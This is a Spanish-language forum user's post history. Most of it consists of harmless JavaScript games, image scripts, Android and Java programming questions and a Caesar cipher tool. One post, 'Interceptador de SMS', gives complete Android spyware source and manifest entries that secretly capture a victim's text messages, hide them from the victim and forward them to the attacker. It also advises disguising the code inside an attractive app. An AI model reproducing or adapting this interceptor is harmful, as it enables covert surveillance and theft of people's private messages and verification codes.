     else if (cut == 23)  { copy[i] = 'C5'; }
     else if (cut == 24)  { copy[i] = 'D5'; }
     else if (cut == 25)  { copy[i] = 'E5'; }
   }

   for (var j = 0; j < copy.length; j++)
   {
     for (var i = 0; i < copy.length; i++)
     {
       if ( (copy[i] == copy[j]) && (copy[i] != "") && (i != j) )  { copy[i] = ""; copy[j] = ""; }
     }
   }

   var salida = new Array();
   var numero = 0;

   for (var i = 0; i < copy.length; i++)
   {
     if (copy[i] != "")  { salida[numero] = copy[i]; numero++; }
   }

   salida.shuffle();
   document.getElementById('solven').value = salida.join(" -> ") + "... Done!!!";
 }

 function random ()
 {
   var numero = parseInt(Math.random() * 10 + 25);
   for (var i = 0; i < numero; i++)
   {
     var campo = parseInt(Math.random() * 25 + 1);
     cambia(campo);
     lightsOut(campo);
   }
 }

 function cambia ( campo )
 {
   campo = parseInt(campo);
   if (document.getElementById('campo_' + campo).checked == true)  { document.getElementById('campo_' + campo).checked = false; }
   else if (document.getElementById('campo_' + campo).checked == false)  { document.getElementById('campo_' + campo).checked = true; }
 }

 function lightsOut (campo)
 {
   campo = parseInt(campo);  
   if ( (campo > 6) && (campo < 10) || (campo > 11) && (campo < 15) || (campo > 16) && (campo < 20))
   {
     var campos = new Array(-5, -1, 1, 5);
     if (document.getElementById('campo_' + (campo-5)).checked == true)  { document.getElementById('campo_' + (campo-5)).checked = false; }
     else if (document.getElementById('campo_' + (campo-5)).checked == false)  { document.getElementById('campo_' + (campo-5)).checked = true; }

     if (document.getElementById('campo_' + (campo-1)).checked == true)  { document.getElementById('campo_' + (campo-1)).checked = false; }
     else if (document.getElementById('campo_' + (campo-1)).checked == false)  { document.getElementById('campo_' + (campo-1)).checked = true; }

     if (document.getElementById('campo_' + (campo+1)).checked == true)  { document.getElementById('campo_' + (campo+1)).checked = false; }
     else if (document.getElementById('campo_' + (campo+1)).checked == false)  { document.getElementById('campo_' + (campo+1)).checked = true; }

     if (document.getElementById('campo_' + (campo+5)).checked == true)  { document.getElementById('campo_' + (campo+5)).checked = false; }
     else if (document.getElementById('campo_' + (campo+5)).checked == false)  { document.getElementById('campo_' + (campo+5)).checked = true; }
   }
   else
   {
     switch (campo)
     {
       case 1: cambia(2); cambia(6); break;
       case 2: cambia(1); cambia(3); cambia(7); break;
       case 3: cambia(2); cambia(4); cambia(8); break;
       case 4: cambia(3); cambia(5); cambia(9); break;
       case 5: cambia(4); cambia(10); break;
       case 6: cambia(1); cambia(7); cambia(11); break;
       case 10: cambia(5); cambia(9); cambia(15); break;
       case 11: cambia(6); cambia(12); cambia(16); break;
       case 15: cambia(10); cambia(14); cambia(20); break;
       case 16: cambia(11); cambia(17); cambia(21); break;
       case 20: cambia(15); cambia(19); cambia(25); break;
       case 21: cambia(16); cambia(22); break;
       case 22: cambia(17); cambia(21); cambia(23); break;
       case 23: cambia(18); cambia(22); cambia(24); break;
       case 24: cambia(19); cambia(23); cambia(25); break;
       case 25: cambia(20); cambia(24); break;
       }
     }
   }
function initFields() {
 document.write('<table cellspacing="0">');
 document.write('<tr>');
   document.write('<th></th>');
   document.write('<th>A</th>');
   document.write('<th>B</th>');
   document.write('<th>C</th>');
   document.write('<th>D</th>');
   document.write('<th>E</th>');
 document.write('</tr>');
 document.write('<tr>');
   for ( var i = -5; i < 32; i++ )
   {
     if (i == 1)  { document.write('</tr><tr><td>1</td>'); }
     if ( (i > 0) && (i < 26) )  { document.write('<td><input type="checkbox" name="campo" id="campo_' + i + '" onClick="lightsOut( ' + i + ' )" style="background-color: #ffffff;" /></td>'); }
     if ( (i <= 0) || (i >= 26) )  { document.write('<td><input type="checkbox" name="campo" id="campo_' + i + '" style="visibility: hidden;" /></td>'); }

     if ( (i %5 == 0) && (i > 0))  { document.write('</tr><tr>'); }
     if ( (i > 0) && (i < 25) && (i %5 == 0) )  { document.write('<td>' + (i /5 + 1) + '</td>'); }
   }
 document.write('</tr>');
 document.write('</table>');
}

//-->
</script>
<button onclick="random()">Aleatorio</button>
   
<button onclick="solve()">Resolver</button>
 <br />
 <br />
<textarea name="solven" id="solven" id="solven" rows="5" cols="40" style="overflow: auto;" readonly="readonly"></textarea>
<script type="text/javascript">initFields();</script>
<!-- Presentado por javascripts-gratis.de -->
</body>
</html>


Página web: https://drive.google.com/open?id=1h4K2om6vBVk-bIAHV98zx91aQQDLKYYt

Autor: totalmente automático


Saludos
#59
Hola a todos,

este javascript esta principalmente dirigido a los alumnos de la escuela primaria y entrena el 1x1.

Con ello se plantean tareas aleatorias y el javascript calcula la puntuación basandose en las respuestas.


Que se diviertan con eso :D

Código:

<!DOCTYPE html>
<html>
<head>
  <title>Ejemplo de javascript</title>
  <meta charset="UTF-8">
</head>
<body>
<!-- Presentado por javascripts-gratis.de -->
<script type='text/javascript'>
<!--
/*
Este script proviene de Freddus.
Ustedes lo pueden usar libremente.
Aunque ustedes no deben cambiar nada y sería agradable
agregar un link hacia mi página principal (ver abajo).
El entrenador uno por uno es principalmente para alumnos del 2. al 4. grado.
*/
let resultado,puntos,corriendo;
resultado=5;
puntos=0;
corriendo=0;
function fininicio(){
window.status=("Entrenador uno por uno 1.0 by Nobstyle");
if (corriendo == 0){
corriendo=1;
document.getElementById('inicioFin').value="finalizar";
document.getElementById('batten').style.visibility="visible";
document.getElementById('entrada').style.visibility="visible";
document.getElementById('entrada').value="";
document.getElementById('entrada').focus();
tareanueva();
}// fin if
else{
corriendo=0;
document.getElementById('visualizacion').innerHTML="<p align='center'><font color='blue'>Bienvenido al entrenador uno por uno!</font></p>";
document.getElementById('inicioFin').value="Ah\u00ED vamos!";
document.getElementById('batten').style.visibility="hidden";
document.getElementById('entrada').style.visibility="hidden";
puntos=0;
document.getElementById('salidaDePuntos').innerHTML="<font color='green'>Puntos: "+puntos+"</font>";
}// fin else
}// fin function

function tareanueva(){
const numero1=Math.ceil(Math.random()*10);
const numero2=Math.ceil(Math.random()*10);
resultado = numero1*numero2;
document.getElementById('visualizacion').innerHTML="<p align='center'><font color='blue'>"+numero1+" x "+numero2+"</font></p>";
} // fin function

function verificar(){
if (document.getElementById('entrada').value == resultado){
puntos++;
document.getElementById('salidaDePuntos').innerHTML="<font color='green'>Puntos: "+puntos+"</font>";
document.getElementById('entrada').value="";
document.getElementById('entrada').focus();
if (puntos>=50){
alert("Estupendo, has ganado el juego!");
fininicio();
}// fin if
else{
tareanueva();
}// fin else
}// fin if
else{
if (document.getElementById('entrada').value == ""){
alert("Tienes que ingresar algo...");
}// fin if
else{
puntos=puntos/2;
document.getElementById('salidaDePuntos').innerHTML="<font color='red'>Puntos: "+puntos+"</font>";
document.getElementById('entrada').value="";
document.getElementById('entrada').focus();
}// fin else
}// fin else
} // fin function

window.status=("Entrenador uno por uno 1.0 by Nobstyle");
//-->
</script>
<font align="center">
<center>
  <table border="3" width="250" bordercolor="#000080" bordercolorlight="#000080" bordercolordark="#000080">
<tr>
  <td width="100%" id="visualizacion" colspan="2"><p align="center"><font color="blue">Bienvenido al entrenador uno por uno!</font></p></td>
</tr>
<tr>
  <td width="100%" colspan="2"><p align="center">
  <input type="text" id="entrada" size="20" style="visibility:hidden" />
  <input type="button" value="OK" id="batten" onclick="verificar()" style="visibility:hidden" />
</p></td>
</tr>
<tr>
  <td width="50%"><p align="center" id="salidaDePuntos"><font color="green">Puntos: 0</font></p></td>
  <td width="50%"><p align="center">
  <input type="button" value="Ah&iacute; vamos!" id="inicioFin" onclick="fininicio()" />
</p></td>
</tr>
  </table>
</center>
</font>
</body>
</html>


Página web: https://drive.google.com/open?id=1DN6KR0y5bx1ePoK6CW3Lfd869-ncS8IZ

Autor: Freddus


Saludos
#60
Hola a todos,

al tratar de crear un post me sale este error:

Web Application Firewall (WAF) Blocked

::CAPTCHA_BOX::
Una regla de seguridad ha sido aplicada. Si crees que es un error (falso positivo) contacta con webmaster@elhacker.net. Gracias.

He pedido ayuda pero a nadie le interesa. Esto es lo último que haré.

Realmente, en comparación con otros foros, bue... mejor no escribo nada. Quizas los administradores se sientan tan ofendidos que me darán ban....


Gracias y saludos
#61
¡Holu hola!

Tengo que hacer una tarea del hogar en el proceso clásico de Delphi (panel de expertos) y ya he encontrado algunos subgrupos de este método científico, uno de los cuales se llama Delphi con ayuda de orientación, pero todo lo que encontré en Internet para esta guía fue que la subsecuente retroalimentación debería representarla.

¿Hay alguien que lo sepa mejor?


Gracias de antemano!
#62
Buenas días,

tengo un pequeño problema con mi aplicación esta mañana.

El error es, como se describió anteriormente, que mi formulario Delphi, cuando quiero moverlo con el puntero del mouse, que luego ya no lo detiene después de completar presionar el botón derecho del mouse con el proceso de destino. Solo se detiene cuando lo presiono nuevamente.


Gracias y saludos
#63
Java / Interceptador de SMS
19 Agosto 2019, 11:28 AM
Hola a todos,

aquí hay un interceptor de SMS que se escribió para un miembro de un foro por el 2011, pensé que seguiría adelante y lo liberaría públicamente ya que la sección de Java a veces es aburrida como Clay Davis.

Lo que esto hace:

  • Intercepta mensajes SMS.
  • Puedes elegir un número o números para interceptar, o simplemente interceptar todo.
  • Redirige los mensajes interceptados a un número de tu elección.
  • Te permite cancelar la transmisión SMS_RECEIVED, lo que significa que tu aplicación será la única en leerlos y la víctima nunca verá el mensaje.

Cosas a tener en cuenta:

  • Esto no bloquea las salidas de Logcat. Esto significa que si la víctima es un desarrollador, puede notar que una transmisión de SMS entrante se registra en Logcat. Realmente un hecho raro, no me preocuparía.
  • No tengo idea de lo que sucede en caso de un mensaje MMS.
  • Nunca he probado esto a gran escala, esto solo se ha probado en un entorno controlado. No me culpes si tu cuenta de desarrollador se suspende.
  • Se le notificará al usuario que está utilizando los permisos de SMS declarados en tu manifiesto,  eso se ve sospechoso. Intenta jugarlo como una característica en tu aplicación.

Ahora bien, aquí está el código fuente.
SmsReceiver.java

//Author: MrZander

import java.util.Arrays;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;

public class SmsReceiver extends BroadcastReceiver {

   // CONFIGURATION //

   // Esto cancelará la transmisión del SMS recibido.
   // Si esto es true, la víctima NO recibirá el mensaje que se le envía.    
   boolean abortarTM = true;

   // Si se debe interceptar o no TODOS los mensajes.    
   boolean interceptarTodos = false;

   // si interceptarTodos está apagado, esta es la matriz de números que serán interceptados.
   String[] numeros = {"5551234567","5551234655"};

   // Estos son los números de celulares a los que se ENVIARÁN los mensajes. (Su celular).
   String redireccionarCelular = "1235558765";

   // En emisión recibida. Mensaje SMS entrante.
   public void onReceive(Context context, Intent intento) {

 Bundle extras = intento.getExtras();
 String mensajes = "";

 // Se utiliza para determinar si un mensaje debe ser redirigido o no.
 boolean esDeEspia = false;

 if ( extras != null ) {
   Object[] smsExtra = (Object[]) extras.get("pdus"); //" Unidades de descripción de protocolo "
   for ( int i = 0; i < smsExtra.length; ++i ) { // Recorrer todos los mensajes (si se divide).

       // Recibe el mensaje de las UDP
   SmsMessage sms = SmsMessage.createFromPdu((byte[])smsExtra[i]);

   // Si interceptarTodos es verdadero o el número de teléfono está en la matriz de números para interceptar.
   if(interceptarTodos||Arrays.asList(numeros).contains(sms.getDisplayOriginatingAddress())){
 // Si el mensaje se disecciona en múltiples, concatenar.
   mensajes+=sms.getMessageBody()+"\n";

   // Este mensaje es de la víctima, redirigir.
   esDeEspia=true;

   //Abortar SMS.
   if(!abortarTM){
       abortBroadcast();
   }

   }
   }

   // Redirigir mensaje si es de la víctima
   if(esDeEspia){
       enviarSms(mensajes,"TUNUMERO");
   }

 }
   }

   // Enviar SMS ... bastante sencillo
   public  void enviarSms(String mensaje, String numcelular){
 SmsManager gs = SmsManager.getDefault();
 try{
 gs.sendTextMessage(numcelular, null, mensaje, null, null);
 }catch(Exception ex){
     // Error, este mensaje se perderá ... Les sugiero que creen
     // un método para hacer una copia de seguridad de los mensajes en caso de error y que lo vuelvan a intentarlo más tarde.
 }
   }
}


Declaraciones para agregar a sus AndroidManifest.xml
Permisos:

<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.SEND_SMS" />


Receptor de transmisión: (le permite a Android saber que vas a recibir mensajes SMS. Nota: la prioridad se establece muy alta para permitir que tu aplicación sea la primera en recibir un mensaje SMS.
<receiver android:name=".SmsReceiver" android:enabled="true">
   <intent-filter android:priority="1000">
   <action android:name="android.provider.Telephony.SMS_RECEIVED" />
   </intent-filter>
   </receiver>

Asegúrate de que si cambias "SmsReceiver.java a un nombre de clase diferente también tienes que cambiarlo en el manifiest. (Aunque no hay razón para cambiarlo).

Lo que tienes que hacer
1. Crea una aplicación que no sea Clay Davis para que la gente realmente la descargue.
2. Agrega la clase 'SmsReceiver' a tu proyecto. (Recomiendo NO renombrarlo).
3. Agrega las declaraciones de manifiest.

Estas listo. No se necesita un código de inicialización, todo se maneja en el Manifiesto.
Avísenme si hay algún problema/error. (Se agregó algunas características sin probar. No creo que sea muy retrasado. Debería ser bueno).
Que se diviertan.

Autor: MrZander

Saludos


PD.: Posteen códigos
#64
Java / Tomar una foto desde una webcam
2 Agosto 2019, 20:09 PM
Hola a todos,

vi interesante este post: https://foro.elhacker.net/java/tomar_una_foto_desde_una_webcam-t285457.0.html

Lo quería comentar, pero esta cerrado. Así que me gustaría hacerlo aquí:

Es un buen post.
Pero creo que la mayoría de la gente no elige Java cuando se trata de código malicioso.
Java necesita JVM / JRE para ejecutar .jar y, por supuesto, hay una solución para esto, como crear un ejecutable nativo a partir del código que se puede ver en ese post.

Saludos
#65
Java / Java - Caesar cifra ESTABLE – v0.70
2 Agosto 2019, 19:45 PM
Caesar Cipher STABLE - v1.00 - By Iyyel

Hola chicos y chicas!
Hoy decidí hacer una pequeña muestra de un software de cifrado para ustedes. El programa se encuentra en estado beta como lo sugiere su nombre, porque todavía hay algunos errores. Así que vamos a empezar con el espectáculo.

Tabla de contenido

1. Por defecto
2. FAQ
3. Exportar
4. Limpiar
5. Llave
6. Decriptar
7. cifrar
8. Bugs conocidos


1. Por defecto

Esto es lo que verán después de haber ejecutado la aplicación. Verán dos áreas de texto, en donde el usuario puede escribir ya sea texto descifrado o cifrado, así como botones de control y el valor de la llave a la derecha de las áreas de texto.

2. FAQ

La pestaña de FAQ está llena de toda información que posiblemente deseen saber sobre el software y sobre cómo operarlo. Además, tiene información relevante sobre el desarrollador si fuera necesario algún contacto.

3. Exportar

El botón de exportación se usa para cuando el usuario desea generar lo que está escrito en las pestañas de cifrado y descifrado, así como el valor de la llave más información adicional. Hará un archivo .txt llamado CaesarcifraTexto en una carpeta llamada Caesercifra en el directorio C:\.

4. Limpiar

El botón Limpiar le hace honor a su nombre. Simplemente borra tanto las áreas de descifrado como las de cifrado, por lo que están listas para ser utilizadas para un nuevo uso.

5. Llave

Aquí es donde insertas el valor shift que deseas que utilice el cifrado césar para cifrar el texto descifrado. Un ejemplo de una instancia con el valor shift 1 se muestra en la imagen de arriba. El valor shift puede ser negativo o positivo.

6. Decriptar

Cuando se hace clic en el botón decriptar, el programa toma el texto del área de texto 'cifrado' y lo ejecuta a través de un algoritmo de descifrado con el valor shift como entrada, y luego emite el texto descifrado dentro del área 'Decriptado'.

7. cifrar

El botón de cifrado se usa cuando el usuario desea cifrar el texto dentro del área 'Decriptar' basado en el valor shift insertado.

8. Bugs conocidos
Actualmente solo hay un bug conocido en el software. No hay posibilidad de scroll en las dos áreas de texto, lo que podría ser bastante frustrante si se trabaja con textos más grandes. Si encuentras algún error, por favor repórtalo en el hilo o envíalo por MP. Gracias.

Caesar cifra BETA - v0.70:
https://drive.google.com/open?id=1XC3KcVvTchhkAsXTJTCNq1niKpMuk_hA

VirusTotal:
https://www.virustotal.com/gui/file/bb4b05ad3afd310df8e378b71d6ab498cec661ffccf444cff9ecc952ed88f6a9/detection

Código fuente - v0.70:
https://drive.google.com/open?id=19_LaVbK8etOSnu4tsoGvV9sJG8VJXzm_

Autor: Iyyel

Saludos

PD.: Me gustaría que agreguen este post a este: https://foro.elhacker.net/java/faqentry_point_sources_guias_manuales_tutoriales_y_demas-t298215.0.html
#66
Hola a todos,

¿que tal si los administradores hacen un grupo de WhatsApp?


Gracias y saludos
#67
Hola a todos,


import org.openqa.selenium.By;
import org.openqa.selenium.WebDriver;
import org.openqa.selenium.WebElement;
import org.openqa.selenium.htmlunit.HtmlUnitDriver;

public class Main {

    private static final String _URL = "http://ddosthegame.com/index.php", _NOMBREUSUARIO = "/*nombreusuario*/", _CONTRASENA = "/*contrasena*/";

    static WebDriver driver;
    static WebElement element;

    public static final void imprimir(final String s)
    {
        System.out.println(s);
    }

    public static void main(String[] args)
    {
        imprimir("Conectando...");
        conectar(_URL);
    }

    public static void conectar(String url)
    {
        driver = new HtmlUnitDriver();
        driver.get(url);

        String usuarioEl = "nombreusuario", passEl = "contrasena";

        imprimir("Estableciendo datos de nombreusuario... (" + _NOMBREUSUARIO + ")");

        element = driver.findElement(By.name(usuarioEl));
        element.sendKeys(_NOMBREUSUARIO);

        imprimir("Estableciendo datos de la contraseña... (" + _CONTRASENA + ")");

        element = driver.findElement(By.name(passEl));
        element.sendKeys(_CONTRASENA);

        imprimir("Iniciando seción ");

        driver.findElement(By.name("login_today")).click();

        if (driver.getTitle().contains("- index"))
        {
            imprimir("Ha iniciado sesión correctamente!");
        }

        driver.get("http://ddosthegame.com/index.php?page=resolve");

        imprimir(driver.getTitle());

        driver.close();
    }

    public static void resolverBot(String nombreusuario, int cantidad)
    {
        imprimir("Resolviendo " + nombreusuario + " " + amount + "veces");
        for (int i = 0; i < 100; i++)
        {
            element = driver.findElement(By.name("userid"));   
            element.sendKeys(nombreusuario);
            driver.findElement(By.name("resolve_user")).click();
        }
    }


Saludos

PD.: Me gustaría que agreguen este post a este: https://foro.elhacker.net/java/faqentry_point_sources_guias_manuales_tutoriales_y_demas-t298215.0.html
#68
Hola a todos,

antes de hacer mis preguntas quisiera mostrarles un código:


lv1.setOnItemLongClickListener(new AdapterView.OnItemLongClickListener() {
@Override
public boolean onItemLongClick(AdapterView<?> adapterView, View view, int i, long l) {
final int posicion=i;
AlertDialog.Builder dialogo1 = new AlertDialog.Builder(MainActivity.this); dialogo1.setTitle("Importante");
dialogo1.setMessage("¿ Elimina este teléfono ?"); dialogo1.setCancelable(false); dialogo1.setPositiveButton("Confirmar", new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialogo1, int id) {
String s=datos.get(posicion);
StringTokenizer tok1=new StringTokenizer(s,":");
String nom=tok1.nextToken().trim();
SharedPreferences.Editor elemento=prefe1.edit(); elemento.remove(nom);
elemento.commit();
datos.remove(posicion);
adaptador1.notifyDataSetChanged(); } });});


Teniendo en cuenta que "datos" es un objeto de la clase ArrayList<String>:

1) Tengo entendido que en los métodos setOnItemLongClickListener y setPositiveButton se envía cómo parámetro un método anónimo de las clases respectivas (AdapterView.OnItemLongClickListener y DialogInterface.OnClickListener). ¿Estoy en lo correcto?

2) Si los métodos anónimos no le pertenecen a la clase a la cual le pertenece el atributo "datos", ¿cómo es posible que estos métodos tengan acceso a los atributos de una clase ajena?

3) Suponiendo que de alguna forma los métodos anónimos si tienen acceso a la clase a la cual le pertenece el atributo "datos", ¿cómo es posible que el método anónimo de la clase DialogInterface.OnClickListener tenga acceso a la variable local "posicion" del método anónimo de la clase AdapterView.OnItemLongClickListener?

Gracias y saludos
#69
Desarrollo Web / javascript - Juego de fosforos
26 Febrero 2019, 21:33 PM
Hola a todos,

la mayoría de ustedes saben bien de este juego. El javascript trata de quitar los
fósforos de tal manera que al final no se tenga que sacar el último. Con ello se
juega contra la computadora.

Al principio se fija cuantos fósforos se alistaran en el juego.

En cada jugada se puede quitar entre uno y tres maderas. Entonces el
javascript calcula los fósforos restantes y actualiza la visualización en la página
principal.

Naturalmente, al mismo tiempo, la computadora o el javascript también trata de
sacarles el último fósforo y con eso ganar el juego.

Para iniciar nuevamente el javascript tienen que actualizar la página principal en el
navegador.

Código:

<!DOCTYPE html>
<html>
<head>
 <title>Ejemplo de javascript</title>
 <meta charset="UTF-8">
</head>
<body>
<!-- Presentado por javascripts-gratis.de -->
<script type='text/javascript'>
<!--
var obj1 = new Array(100), mc,mc1, cur_obj, total_sel, win = false, cpu_sel, ost, user_sel, game = true;

function RemoveElementByNum(num) {
document.getElementById("ch"+num).style.display = 'none';
document.getElementById("im"+num).style.display = 'none';
}

function RemoveCpuSel(num) {
del = num;
for ( i=0; i<mc1; i++ ) {
ename = document.getElementById("ch"+i);
if (del!=0) {
if (ename.style.display != 'none') {
ename.style.display = 'none';
document.getElementById("im"+i).style.display = 'none';
del-=1;
}
}

}
}

function GetClickedElement(){
total=0;
result=false;
for (i=0; i<mc1; i++) {
ename = document.getElementById("ch"+i);
if ((ename.style.display != 'none') && (ename.checked)) {
total++;
}
}
if (total>3) {
alert('Demasiados fosforos seleccionados. No puedes seleccionar mas de tres fosforos!');
result=false;
} else {
result=true;
}
document.getElementById("maderalog").value = "Tu tomas "+total+" pieza/s.";
total_sel=total;
user_sel=total;
return result;
}

function AI() {
if ( (mc>1) && (win==false) ) {
game = true;
}
if (game == true) {
if ( (mc-user_sel)==1 ) {
win=true;
game=false;
}
if ( (mc%4)!=1 ) {
ost=(mc-user_sel)%4;
if (ost==0) {
ost=4;
}
if (ost>1) {
cpu_sel=ost-1;
} else {
cpu_sel=Math.floor( (3*Math.random()) );
cpu_sel++;
if (cpu_sel>mc) {
cpu_sel=mc;
}
}
}
else {
cpu_sel=4-user_sel;
}
RemoveCpuSel(cpu_sel);
mc=mc-(cpu_sel+user_sel);
document.getElementById("maderalog").value='La computadora toma '+cpu_sel+' pieza/s.';
}
if ( (mc==1) || (mc<1)) {
game = false;
if (win == true) {
document.getElementById("maderalog1").style.visibility='hidden';
document.getElementById("maderalog").style.visibility='hidden';
document.getElementById("eliminar").style.visibility='hidden';
alert('Felicitaciones! Tu has ganado!!!!');
game=false;
} else {
document.getElementById("maderalog1").style.visibility='hidden';
document.getElementById("maderalog").style.visibility='hidden';
alert('Tu has perdido. La inteligencia artificial ha ganado!!!! JA - JA - JA!!!!');
game=false;
document.body.innerHTML = ""
}
}
document.getElementById("maderalog1").value = "Sobra/n " +mc+ " pieza/s";
}

function RemoveSelected(){
if ((total_sel!=0) && (total_sel<4)) {
user_sel=total_sel;
for (i=0; i<mc1; i++) {
ename = document.getElementById("ch"+i);
if ((ename.style.display != 'none') && ename.checked) {
RemoveElementByNum(i);
}
total_sel=0;
}
AI();
} else {
if (total_sel>3) {
alert("Demasiados fosforos seleccionados.");
} else {
alert('Nada seleccionado');
}
}
}


function initMadera() {
mc = prompt("Cantidad de fosforos?. La cantidad debe hallarse entre 7 y 50", "23");
        if (mc<7) mc=7;
        if (mc>50) mc=50;

mc1 = mc;
document.write('<center><table border="0" cellspacing="0" cellpadding="0"><tr>');
for (i=0; i<mc; i++) {
document.write('<td align="center"><div style="height: 70px; width: 7px; background-color: #C0C077;" name="im'+i+'" id="im'+i+'"><div style="height: 7px; width: 7px; background-color: #FF3300;"></div></div></td>');
obj1[i]=1;
}
document.write('</tr><tr>');
for (i=0; i<mc; i++) {
document.write('<td><input type="checkbox" onclick="GetClickedElement();" name="ch'+i+'" id="ch'+i+'" /></td>');
}
document.write('</tr></table>');
document.write('<br /><input type="button" value="Eliminar fosforos seleccionados" onclick="RemoveSelected();" id="eliminar" />');
document.write('<br /><br /><br /><br />');
document.write('<input type="text" name="maderalog" id="maderalog" size="30" /><br />');
document.write('<input type="text" name="maderalog1" id="maderalog1" size="30" /><br />');
document.write('</center>');
}
//-->
</script>
<script type="text/javascript">initMadera();</script>
<!-- Presentado por javascripts-gratis.de -->

</body>
</html>


Página web: https://drive.google.com/open?id=14Gu9OuiYfRsDIHCZ4CT_AIQtfvRgvD-N

Saludos
#70
Desarrollo Web / javascript - Asteroids
22 Febrero 2019, 12:31 PM
Hola a todos,

algunos quizás conozcan todavía el juego Asteroids, que en los años 80 era bastante popular y uno de los primeros juegos de computadora.

Ahora se remodelo y se produjo este javascript, con el cual se puede lanzar tiros hacia la página actual. Para eso usen fácilmente el espacio. Ustedes pueden dirigir la astronave con las teclas del cursor. Los puntos les serán mostrados abajo a la derecha. Al principio se puede ver la astronave arriba a la izquierda.

Y ahora diviértanse destruyendo la página.

Le agregué unos botones para que puedan probar destruir elementos.

Los archivos se los dejo mediante un link ya que el espacio no alcanza para publicar los contenidos de los mismos.

Códigos: https://drive.google.com/open?id=1ixKOo-v59AtZSfTr-XrEJZbvzXuMUD20

Autor: Erik Rothoff Andersson

Saludos

PD.: Ustedes pueden restaurar todos los elementos recargando fácilmente la página con F5. Para finalizar el modo de juego presionen la telca ESC en el teclado!
#71
Java / Android - Dibujar: texto
19 Febrero 2019, 15:42 PM
Hola a todos,

quería preguntarles que significa este código:


Paint pincel1 = new Paint();
Typeface tf = Typeface.create(Typeface.SERIF, Typeface.ITALIC);
pincel1.setTypeface(tf);
tf = Typeface.create(Typeface.SERIF, Typeface.ITALIC
                    | Typeface.BOLD);
pincel1.setTypeface(tf);


Osea: El pincel tiene dos tipos de letras al mismo tiempo? Si es así... cómo es eso posible?
Y: Al estar separado (en la segunda creación del Typeface) el segundo parámetro por otro parámetro mediante un |... quiere decir eso que aleatoriamente se eligira un Typeface?

Gracias y saludos
#72
Desarrollo Web / javascript - Imagen fade in
19 Febrero 2019, 15:32 PM
Hola a todos,

aqui podran ustedes dejar que una imagen de su elección se "haga grande"; e. s.: al
comienzo la imagen no es visible en sus páginas principales, pero crece dentro de
poco tiempo hacia el tamaño configurado.

En este javascript pueden configurar tres parametros: la anchura, la altura y la URL
de la imagen. Cuando la imagen se haya cargado en sus páginas principales, se hace
grande y se queda en sus páginas principales en el tamaño configurado.

Deje un imagen gif en el ejemplo.

Codigo:


<!DOCTYPE html>
<html>
<head>
  <title>Ejemplo de javascript</title>
  <meta charset="UTF-8">
</head>
<body>
<!-- Presentado por javascripts-gratis.de -->
<script type='text/javascript'>
<!--
// Script by Freddus
// visit my site: http://www.friederklein.de

/////////////////////
var altura = 60;    // Configurar aqui la altura original de la imagen
var anchura = 468;  // Configurar aqui la anchura original de la imagen
var imagensita = "https://media.giphy.com/media/l41lLf17l7YCZ4Tjq/giphy.gif";  // Dirección hacia la imagen
/////////////////////
var contador=0;

function emboque(){
  var pixels;
  document.getElementById("miimagenzoom").height = document.getElementById("miimagenzoom").height+altura/20;
  document.getElementById("miimagenzoom").width = document.getElementById("miimagenzoom").width+anchura/20
  if (contador<20){
    setTimeout("emboque()",50);
  }// Fin del if
  contador++;
}//Fin del emboque

function initimagen() {
document.write('<div align="center">');
document.write('<img height="0" width="0" id="miimagenzoom" src="'+imagensita+'" onload="emboque();">');
document.write('</div>');
}
//-->
</script>
<script type="text/javascript">initimagen();</script>
<!-- Presentado por javascripts-gratis.de -->

</body>
</html>


Página web: https://drive.google.com/open?id=1xbHiakrS5S76b8X_gtd22BIdVA2AFzCp

Autor: Freddus

Saludos
#73
Desarrollo Web / javascript - Imagenes casuales
19 Febrero 2019, 12:31 PM
Hola a todos,

este script de javascript cambia cada X-segundo la imagen en sus páginas principales.

Con ello ustedes configuran facilmente que imagenes deben ser mostradas y
especifican la cantidad de segundos, despues de los cuales se se debera elegir y
mostrar una nueva imagen casual y ya empieza.

En este ejemplo ya se agrego imagenes y la cantidad de segundos fue puesta a dos.

Codigo:


<!DOCTYPE html>
<html>
<head>
  <title>Ejemplo de javascript</title>
  <meta charset="UTF-8">
</head>
<body>
<!-- Presentado por javascripts-gratis.de -->
<script type='text/javascript'>
<!--
// Script e idea: Freddus

// Aqui por favor ingresar las URLs de la imagenes dentro de las "" y separadas respectivamente por un ,
var i = 0;
var urls = new Array();
urls[i++] = "https://media.giphy.com/media/l41lLf17l7YCZ4Tjq/giphy.gif",
urls[i++] = "https://media.giphy.com/media/l1KdaZkQLqgeoPu1y/giphy.gif",
urls[i++] = "https://media.giphy.com/media/xT0CyGZSg7oN0ochi0/giphy.gif",
urls[i++] = "https://media.giphy.com/media/3o6MbubPM8ek3dbNle/giphy.gif",
urls[i++] = "https://media.giphy.com/media/3ov9k5IJTC6YXh91iU/giphy.gif";


// Aqui configurar el tiempo que quieren que pase hasta que se cambie de imagen
var segundos = 2;


///////////////////////////////////////////////
// No cambiar nada mas, como siempre ;o)
var lastimage;
document.write("<div id='randomimagediv'></div>");

function newimage()
{
  var newurl;
  do
  {
  newurl = urls[Math.floor(Math.random()*urls.length)];
  }
  while (newurl == lastimage)
  lastimage = newurl;
  document.getElementById("randomimagediv").innerHTML = '<img src="' + newurl + '" alt="" />';
}
//-->
</script>
<script type="text/javascript">window.setInterval("newimage()",segundos*1000);</script>
<!-- Presentado por javascripts-gratis.de -->
</body>
</html>


Página web: https://drive.google.com/open?id=14cHvpQeg7mtbOzzxx95LDfmr25i6VujG

Autor: Freddus

Saludos
#74
Java / Android - Control Spinner
12 Diciembre 2018, 12:39 PM
Hola a todos,

tengo una duda:

En la clase ArrayAdapter <String> se requieren en el constructor tres parametros. En el
primero hay que pasarle un objeto (normalmente la clase actual). Luego el adaptador
hay que pasarselo al metodo setAdapter de la clase Spinner. Pero necesita este metodo el
primer parametro que es pasado al constructor de la clase ArrayAdapter <String>? Por
qué?

Y por qué no hicieron los programadores la posibilidad de pasar los parametros al
metodo setAdapter directamente en vez de tener que crear un adaptador? No es eso poco
eficiente?


Gracias y saludos
#76
Java / Java - Servidor de E-Mail
9 Diciembre 2018, 22:18 PM
Hola,

cómo puedo hacer un servidor de E-Mail en Java?


Gracias y saludos
#77
Java / Java - Swing - JRadioButton
5 Noviembre 2018, 14:31 PM
Hola,

tengo dos dudas:

1) Que hace el metodo addChangeListener de la clase JRadioButton (con el objeto que llega como parámetro)?

